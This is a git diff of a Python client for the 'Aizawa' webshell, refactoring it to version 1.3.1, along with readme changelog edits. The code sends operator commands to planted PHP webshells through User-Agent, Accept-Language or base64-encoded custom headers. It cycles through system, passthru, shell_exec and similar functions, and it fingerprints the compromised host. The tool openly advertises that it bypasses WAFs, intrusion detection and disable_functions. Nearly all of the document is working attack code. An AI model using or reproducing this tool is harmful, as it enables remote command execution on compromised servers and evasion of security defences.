diff --git a/aizawa.py b/aizawa.py index af1d9a5..4fe2018 100644 --- a/aizawa.py +++ b/aizawa.py @@ -7,20 +7,16 @@ ## ## ###################################################### - # Imports - import re import sys import httpx import base64 import validators - # Colors - bold = "\033[1m" red = "\033[31m" clear = "\033[0m" @@ -30,208 +26,164 @@ green = "\033[32m" yellow = "\033[33m" - # Functions +def http_request(client, method, url, headers=None, data=None): + headers = headers or {} + if method.lower() == 'get': + r = client.get(url, headers=headers, follow_redirects=True) + elif method.lower() == 'post': + r = client.post(url, headers=headers, data=data, follow_redirects=True) + else: + raise ValueError(f"Invalid method: {method}") + return r.text -def http_user_agent_get(url, cmd): - headers = { - "User-Agent": cmd, - } - c = httpx.Client(headers=headers, verify=False) - r = c.get(url, follow_redirects=True) - result = r.text - c.close() - return result - - -def http_accept_language_get(url, cmd): - headers = { - "Accept-Language": cmd, - } - c = httpx.Client(headers=headers, verify=False) - r = c.get(url, follow_redirects=True) - result = r.text - c.close() - return result - +def http_user_agent_get(client, url, cmd): + headers = {"User-Agent": cmd} + return http_request(client, 'get', url, headers) -def http_user_agent_post(url, data, cmd): - headers = { - "User-Agent": cmd, - } - c = httpx.Client(headers=headers, verify=False) - r = c.post(url, data=data, follow_redirects=True) - result = r.text - c.close() - return result +def http_accept_language_get(client, url, cmd): + headers = {"Accept-Language": cmd} + return http_request(client, 'get', url, headers) +def http_user_agent_post(client, url, data, cmd): + headers = {"User-Agent": cmd} + return http_request(client, 'post', url, headers, data) -def http_accept_language_post(url, data, cmd): - headers = { - "Accept-Language": cmd, - } - c = httpx.Client(headers=headers, verify=False) - r = c.post(url, data=data, follow_redirects=True) - result = r.text - c.close() - return result +def http_accept_language_post(client, url, data, cmd): + headers = {"Accept-Language": cmd} + return http_request(client, 'post', url, headers, data) +def http_aizawa_ninja(client, url, cmd): + headers = {"Aizawa-Ninja": base64.b64encode(cmd.encode('utf-8'))} + return http_request(client, 'get', url, headers) -def http_aizawa_ninja(url, cmd): - headers = { - "Aizawa-Ninja": base64.b64encode(cmd.encode('utf-8')), - } - c = httpx.Client(headers=headers, verify=False) - r = c.get(url, follow_redirects=True) - result = r.text - c.close() - return result - - -def execute(url, cmd, type): +def execute(client, url, cmd, type): match type: - case "ping": - - c = httpx.Client(verify=False) - try: - r = c.get(url, follow_redirects=True) - + r = client.get(url, follow_redirects=True) if r.status_code != 200: - print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + - clear + ': Invalid HTTP response code\nPlease check the URL and try again\n') + print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + clear + ': Invalid HTTP response code\nPlease check the URL and try again\n') sys.exit() - except httpx.RequestError as e: - print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + - clear + ': URL is not reachable\nPlease check the URL and try again\n') + print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + clear + ': URL is not reachable\nPlease check the URL and try again\n') sys.exit() - finally: - c.close() - case "get": - c = httpx.Client(verify=False) - r = c.get(url+cmd, follow_redirects=True) + r = client.get(url+cmd, follow_redirects=True) result = r.text if not result: result = red + 'ERROR' + clear + '\n' - c.close() return result case "post": - c = httpx.Client(verify=False) - r = c.post(url, data=cmd, follow_redirects=True) + r = client.post(url, data=cmd, follow_redirects=True) result = r.text if not result: result = red + 'ERROR' + clear + '\n' - c.close() return result case "http_user_agent_get": - result = http_user_agent_get(url + '?cmd=system', cmd) + result = http_user_agent_get(client, url + '?cmd=system', cmd) if not result: - result = http_user_agent_get(url + '?cmd=proc_open', cmd) + result = http_user_agent_get(client, url + '?cmd=proc_open', cmd) elif not result: - result = http_user_agent_get(url + '?cmd=popen', cmd) + result = http_user_agent_get(client, url + '?cmd=popen', cmd) elif not result: - result = http_user_agent_get(url + '?cmd=passthru', cmd) + result = http_user_agent_get(client, url + '?cmd=passthru', cmd) elif not result: - result = http_user_agent_get(url + '?cmd=shell_exec', cmd) + result = http_user_agent_get(client, url + '?cmd=shell_exec', cmd) elif not result: - result = http_user_agent_get(url + '?cmd=exec', cmd) + result = http_user_agent_get(client, url + '?cmd=exec', cmd) elif not result: result = red + 'ERROR' + clear + '\n' return result case "http_accept_language_get": - result = http_accept_language_get(url + '?cmd=system', cmd) + result = http_accept_language_get(client, url + '?cmd=system', cmd) if not result: - result = http_accept_language_get(url + '?cmd=proc_open', cmd) + result = http_accept_language_get(client, url + '?cmd=proc_open', cmd) elif not result: - result = http_accept_language_get(url + '?cmd=popen', cmd) + result = http_accept_language_get(client, url + '?cmd=popen', cmd) elif not result: - result = http_accept_language_get(url + '?cmd=passthru', cmd) + result = http_accept_language_get(client, url + '?cmd=passthru', cmd) elif not result: - result = http_accept_language_get(url + '?cmd=shell_exec', cmd) + result = http_accept_language_get(client, url + '?cmd=shell_exec', cmd) elif not result: - result = http_accept_language_get(url + '?cmd=exec', cmd) + result = http_accept_language_get(client, url + '?cmd=exec', cmd) elif not result: result = red + 'ERROR' + clear + '\n' return result case "http_user_agent_post": - result = http_user_agent_post(url, 'cmd=system', cmd) + result = http_user_agent_post(client, url, 'cmd=system', cmd) if not result: - result = http_user_agent_post(url, 'cmd=proc_open', cmd) + result = http_user_agent_post(client, url, 'cmd=proc_open', cmd) elif not result: - result = http_user_agent_post(url, 'cmd=popen', cmd) + result = http_user_agent_post(client, url, 'cmd=popen', cmd) elif not result: - result = http_user_agent_post(url, 'cmd=passthru', cmd) + result = http_user_agent_post(client, url, 'cmd=passthru', cmd) elif not result: - result = http_user_agent_post(url, 'cmd=shell_exec', cmd) + result = http_user_agent_post(client, url, 'cmd=shell_exec', cmd) elif not result: - result = http_user_agent_post(url, 'cmd=exec', cmd) + result = http_user_agent_post(client, url, 'cmd=exec', cmd) elif not result: result = red + 'ERROR' + clear + '\n' return result case "http_accept_language_post": - result = http_accept_language_post(url, 'cmd=system', cmd) + result = http_accept_language_post(client, url, 'cmd=system', cmd) if not result: - result = http_accept_language_post(url, 'cmd=proc_open', cmd) + result = http_accept_language_post(client, url, 'cmd=proc_open', cmd) elif not result: - result = http_accept_language_post(url, 'cmd=popen', cmd) + result = http_accept_language_post(client, url, 'cmd=popen', cmd) elif not result: - result = http_accept_language_post(url, 'cmd=passthru', cmd) + result = http_accept_language_post(client, url, 'cmd=passthru', cmd) elif not result: - result = http_accept_language_post(url, 'cmd=shell_exec', cmd) + result = http_accept_language_post(client, url, 'cmd=shell_exec', cmd) elif not result: - result = http_accept_language_post(url, 'cmd=exec', cmd) + result = http_accept_language_post(client, url, 'cmd=exec', cmd) elif not result: result = red + 'ERROR' + clear + '\n' return result case "http_aizawa_ninja_eval": - result = http_aizawa_ninja(url, 'system~' + cmd) + result = http_aizawa_ninja(client, url, 'system~' + cmd) if not result: - result = http_aizawa_ninja(url, 'passthru~' + cmd) + result = http_aizawa_ninja(client, url, 'passthru~' + cmd) elif not result: - result = http_aizawa_ninja(url, 'shell_exec~' + cmd) + result = http_aizawa_ninja(client, url, 'shell_exec~' + cmd) elif not result: - result = http_aizawa_ninja(url, 'exec~' + cmd) + result = http_aizawa_ninja(client, url, 'exec~' + cmd) elif not result: result = red + 'ERROR' + clear + '\n' return result if type in ["http_aizawa_ninja_concat", "http_aizawa_ninja_debug", "http_aizawa_ninja_gc", "http_aizawa_ninja_json", "http_aizawa_ninja_filter"]: - result = http_aizawa_ninja(url, cmd) + result = http_aizawa_ninja(client, url, cmd) if not result: result = red + 'ERROR' + clear + '\n' return result - - + def banner(): - print(yellow + '\n ___ ________ ___ _ _____ \n / _ | / _/_ / / _ | | /| / / _ |\n / __ |_/ / / /_' + blue + '/ __ | |/ |/ / __ |\n/_/ |_/___/ /___/_/ |_|__/|__/_/ |_|' + clear + - '\nA Super Simple Command Line Webshell\nFor Bypassing Any Kind of WAF or IDS\nCode by ' + bold + ' @' + red + 'elliottophellia' + clear + ' ' + bold + '#' + red + 'V' + purple + 'S' + blue + 'P' + yellow + 'O' + clear + '\n') - + banner_text = yellow + '\n ___ ________ ___ _ _____ \n / _ | / _/_ / / _ | | /| / / _ |\n / __ |_/ / / /_' + blue + '/ __ | |/ |/ / __ |\n/_/ |_/___/ /___/_/ |_|__/|__/_/ |_|' + clear + '\n' + banner_text += 'A Super Simple Command Line Webshell\nFor Bypassing Any Kind of WAF or IDS\n' + banner_text += 'Code by ' + bold + ' @' + red + 'elliottophellia' + clear + ' ' + banner_text += bold + '#' + red + 'V' + purple + 'S' + blue + 'P' + yellow + 'O' + clear + '\n' + print(banner_text) -# Main +def main(): -if __name__ == "__main__": + # Httpx Client - # Print banner - - banner() + with httpx.Client(verify=False) as client: # Get URL and check if valid url = sys.argv[1] if len(sys.argv) > 1 else input("Webshell URL: ") if not validators.url(url): - print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + clear + - ': Invalid URL format\nThis does not appear to be a valid URL/IP address\nPlease check the input and try again\n') + print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + clear + ': Invalid URL format\nThis does not appear to be a valid URL/IP address\nPlease check the input and try again\n') sys.exit() # Remove any characters after the file extension @@ -242,7 +194,7 @@ def banner(): # Check if URL is alive and reachable - execute(url, '', 'ping') + execute(client, url, '', 'ping') # Get filename and strip the domain @@ -272,26 +224,22 @@ def banner(): break if type is None: - print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + clear + - ': Invalid filename\nThis does not appear to be a valid Aizawa Webshell\nPlease check the URL and try again\n') + print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + clear + ': Invalid filename\nThis does not appear to be a valid Aizawa Webshell\nPlease check the URL and try again\n') sys.exit() # Get essential information # Get user and host - user = execute(url, 'whoami', type) - host = execute(url, 'hostname', type) - pwd = execute(url, 'pwd', type) + user = execute(client, url, 'whoami', type) + host = execute(client, url, 'hostname', type) + pwd = execute(client, url, 'pwd', type) # Return default values if not found or error - user = 'aizawaema' if not user or user == '\033[31mERROR\033[0m\n' else re.sub( - r'\s+', '', user) - host = 'virtualesport' if not host or host == '\033[31mERROR\033[0m\n' else re.sub( - r'\s+', '', host) - pwd = '~/unknown/path' if not pwd or pwd == '\033[31mERROR\033[0m\n' else re.sub( - r'\s+', '', pwd) + user = 'aizawaema' if not user or user == '\033[31mERROR\033[0m\n' else re.sub(r'\s+', '', user) + host = 'virtualesport' if not host or host == '\033[31mERROR\033[0m\n' else re.sub(r'\s+', '', host) + pwd = '~/unknown/path' if not pwd or pwd == '\033[31mERROR\033[0m\n' else re.sub(r'\s+', '', pwd) # Print essential information if type in ["http_aizawa_ninja_concat", "http_aizawa_ninja_debug", "http_aizawa_ninja_gc", "http_aizawa_ninja_json", "http_aizawa_ninja_filter"]: @@ -301,23 +249,23 @@ def banner(): print(bold + green + 'Successfully connected to Aizawa Webshell!' + clear + '\n') if type in ["http_accept_language_get", "http_user_agent_get"]: print( - bold + 'Kernel : ' + clear + execute(url, "?unamea", "get") + '\n' + - bold + 'Server : ' + clear + execute(url, "?server", "get") + '\n' + - bold + 'Safe Mode : ' + clear + execute(url, "?safe_mode", "get") + '\n' + - bold + 'Server IP : ' + clear + execute(url, "?server_ip", "get") + '\n' + - bold + 'Client IP : ' + clear + execute(url, "?client_ip", "get") + '\n' + + bold + 'Kernel : ' + clear + execute(client, url, "?unamea", "get") + '\n' + + bold + 'Server : ' + clear + execute(client, url, "?server", "get") + '\n' + + bold + 'Safe Mode : ' + clear + execute(client, url, "?safe_mode", "get") + '\n' + + bold + 'Server IP : ' + clear + execute(client, url, "?server_ip", "get") + '\n' + + bold + 'Client IP : ' + clear + execute(client, url, "?client_ip", "get") + '\n' + bold + 'Disable Function : ' + clear + - execute(url, "?disable_functions", "get") + '\n' + execute(client, url, "?disable_functions", "get") + '\n' ) elif type in ["http_accept_language_post", "http_user_agent_post"]: print( - bold + 'Kernel : ' + clear + execute(url, "unamea", "post") + '\n' + - bold + 'Server : ' + clear + execute(url, "server", "post") + '\n' + - bold + 'Safe Mode : ' + clear + execute(url, "safe_mode", "post") + '\n' + - bold + 'Server IP : ' + clear + execute(url, "server_ip", "post") + '\n' + - bold + 'Client IP : ' + clear + execute(url, "client_ip", "post") + '\n' + + bold + 'Kernel : ' + clear + execute(client, url, "unamea", "post") + '\n' + + bold + 'Server : ' + clear + execute(client, url, "server", "post") + '\n' + + bold + 'Safe Mode : ' + clear + execute(client, url, "safe_mode", "post") + '\n' + + bold + 'Server IP : ' + clear + execute(client, url, "server_ip", "post") + '\n' + + bold + 'Client IP : ' + clear + execute(client, url, "client_ip", "post") + '\n' + bold + 'Disable Function : ' + clear + - execute(url, "disable_functions", "post") + '\n' + execute(client, url, "disable_functions", "post") + '\n' ) # Initialize the shell @@ -326,8 +274,7 @@ def banner(): try: # Get command from user - cmd = input(bold + yellow + user + clear + '@' + bold + - blue + host + clear + ' ' + purple + pwd + clear + ' % ') + cmd = input(bold + yellow + user + clear + '@' + bold + blue + host + clear + ' ' + purple + pwd + clear + ' % ') if cmd == 'exit' or cmd == 'quit': sys.exit() if not cmd: @@ -335,8 +282,16 @@ def banner(): # Execute command and print result - print('\n' + cyan + execute(url, cmd, type) + clear) + print('\n' + cyan + execute(client, url, cmd, type) + clear) except KeyboardInterrupt: print("\nCtrl + C detected. Exiting...") sys.exit() + +if __name__ == "__main__": + + # Print banner + banner() + + # Run the script + main() \ No newline at end of file diff --git a/readme.md b/readme.md index 3838c41..e8449ff 100644 --- a/readme.md +++ b/readme.md @@ -1,6 +1,6 @@



-Aizawa is a super simple command-line webshell that executes commands via the HTTP request in order to avoid any WAF or IDS while bypassing disable_function. The name Aizawa itself is taken from virtual youtuber Aizawa Ema from Virtual Esport Project. Ema itself is a girl who likes bread and cats. She's always trying to improve her game skills. She wants to be a neat and tidy character, but is she really?


+Aizawa is a super simple command-line webshell that executes commands via the HTTP request in order to avoid any WAF or IDS while bypassing disable_function. The name Aizawa itself is taken from virtual youtuber Aizawa Ema from Virtual Esport Project. Ema itself is a girl who likes bread and cats. She's always trying to improve her game skills. She wants to be a neat and tidy character, but is she really?


@@ -8,10 +8,14 @@ Aizawa is a super simple command-line webshell that executes commands via the HT

-# Changelogs - v1.3.0 +# Changelogs - v1.3.1 -- Migration to Python 3.10 -- Fix [issue #4](https://github.com/elliottophellia/aizawa/issues/4) +- Use Context Managers for HTTP Clients +- Reuse HTTP Clients +- More specific Error Handling +- Avoid Repetitive Code + +Compare [v1.3.0...v1.3.1](https://github.com/elliottophellia/aizawa/compare/v1.3.0...v1.3.1) # Prerequisites @@ -52,8 +56,6 @@ python aizawa.py / python aizawa.py [webshell url] - [s0md3v](https://github.com/s0md3v/nano) - [Acunetix](https://bit.ly/AcunetiX) -- [Peter Krauss](https://stackoverflow.com/posts/2929951/revisions) -- [Tim Post](https://stackoverflow.com/posts/2929951/revisions) - [mm0r1](https://github.com/mm0r1) # Licence